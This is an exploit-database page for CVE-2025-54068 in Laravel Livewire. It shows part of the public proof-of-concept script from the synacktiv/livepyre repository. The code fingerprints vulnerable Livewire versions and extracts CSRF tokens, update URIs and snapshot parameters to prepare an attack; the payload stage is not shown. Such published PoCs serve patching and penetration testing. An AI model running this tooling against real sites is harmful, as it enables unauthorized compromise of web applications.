Exploit database

GH-570e778c1ccbfc4a307ca9d7f26f5222

synacktiv/livepyre

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-54068

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
synacktiv/livepyreRevision ffcb13591ccd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.py

Suggested starting filePython · 5,809 bytes
import sys
import json
import requests
import logging

from urllib.parse import urlparse
from importlib.resources import files

from .laravel_crypto.laravel_encrypter import LaravelEncrypter

class ColorFormatter(logging.Formatter):
    COLORS = {
        'ERROR': '\033[91m',
        'INFO': '\033[92m',
        'DEBUG': '\033[94m',
        'WARNING': '\033[33m',
        'RESET': '\033[0m'
    }

    def format(self, record):
        color = self.COLORS.get(record.levelname, self.COLORS['RESET'])
        message = super().format(record)
        return f"{color}{message}{self.COLORS['RESET']}"
    
def get_base_url(full_url):
    parsed = urlparse(full_url)
    return f"{parsed.scheme}://{parsed.netloc}/"

handler = logging.StreamHandler(sys.stdout)
formatter = ColorFormatter("[%(levelname)s] %(message)s")
handler.setFormatter(formatter)

class Exploit:
    def __init__(self, url, debug, function, param, headers, proxy_url, app_key=None, check=False):
        self.logger = logging.getLogger("exploit")
        self.logger.addHandler(handler)
        self.logger.setLevel(logging.INFO)
        if not url.startswith(("http://", "https://")):
            self.logger.error(f"Malformed url: {url}. Exiting")
            return
        self.url = url
        self.base_url = get_base_url(url)
        self.function = function
        self.only_check = check
        self.param = param
        self.token = None
        self.update_uri = None
        self.page_content = None
        self.livewire_version = None
        self.livewire_versions = json.loads((files("exploit") / "versions.json").read_text(encoding="utf-8"))
        if app_key is not None:
            self.app_key = app_key
            self.laravel_encrypter = LaravelEncrypter(app_key)
        if debug:
            self.logger.setLevel(logging.DEBUG)
        self.session = requests.Session()
        self.session.proxies.update({} if proxy_url is None else {"http": proxy_url, "https": proxy_url})
        self.session.headers.update({} if headers is None else self.parse_headers(headers))
        self.session.verify = False

    def parse_headers(self, header_list):
        headers = {}
        if header_list:
            for h in header_list:
                if ":" not in h:
                    self.logger.debug(f"Malformed header: {h}, ignoring")
                    continue
                key, value = h.split(":", 1)
                headers[key.strip()] = value.strip()
        return headers
    
    def check_livewire(self):
        self.logger.debug(f"Checking for Livewire at {self.url}")
        if "livewire" in self.page_content.text.lower():
            return True
        else:
            return False
    
    def check_livewire_version(self):
        self.logger.debug(f"Checking livewire version at {self.url}")
        ret = False
        for version, version_hash in self.livewire_versions.items():
            if version_hash in self.page_content.text.lower():
                self.livewire_version = version.replace("v","")
                if self.livewire_version < "3.6.4":
                    if "v3.6.3" == version:
                        self.logger.warning(f"The remote livewire version is either v3.6.3 or v3.6.4. Target might not be vulnerable.")
                        self.logger.warning("Run the exploit with option --force to omit this warning.")
                    else:
                        self.logger.info(f"The remote livewire version is {version}, the target is vulnerable.")
                        ret = True
                    break
                else:
                    self.logger.error(f"The remote livewire version is {version}, the target is patched.")
                    break
        return ret
        
    def check_snapshot(self):
        self.logger.debug(f"Checking for snapshots at {self.url}")
        if "wire:snapshot" in self.page_content.text.lower():
            return True
        else:
            return False

    def get_csrf_token(self, html_content):
        if "data-csrf" in html_content:
            return html_content.split('data-csrf="')[1].split('"')[0]
        elif "livewireScriptConfig" in html_content:
            config = json.loads(html_content.split("livewireScriptConfig = ")[1].split(";")[0])
            return config["csrf"]
        elif "csrf-token" in html_content:
            return html_content.split('name="csrf-token" input="')[1].split('"')[0]
        else:
            return None
    
    def get_update_uri(self, html_content):
        if "livewireScriptConfig" in html_content:
            config = json.loads(html_content.split("livewireScriptConfig = ")[1].split(";")[0])
            return config["uri"][1:]
        elif "data-update-uri" in html_content:
            potential_uri = html_content.split('data-update-uri="')[1].split('"')[0]
            if "http" in potential_uri:
                return potential_uri
            else:
                return potential_uri.replace("/","",1)
        else:
            return None
    
    def check_array_param(self, snapshot_params):
        ret = None
        strict_synth = ["str","std","int","float","mdl"]
        for param in snapshot_params.keys():
            try:
                for entry in snapshot_params[param]:
                    try:
                        if entry.get('s') and entry['s'] not in strict_synth:
                            ret = param
                            break
                    except Exception as e:
                        self.logger.debug(f"Error while loading as json: {e}")
                        continue
            except Exception as e:
                self.logger.debug(f"Param {param} is not a dict.")
                continue
            if ret is not None:
                break
        return ret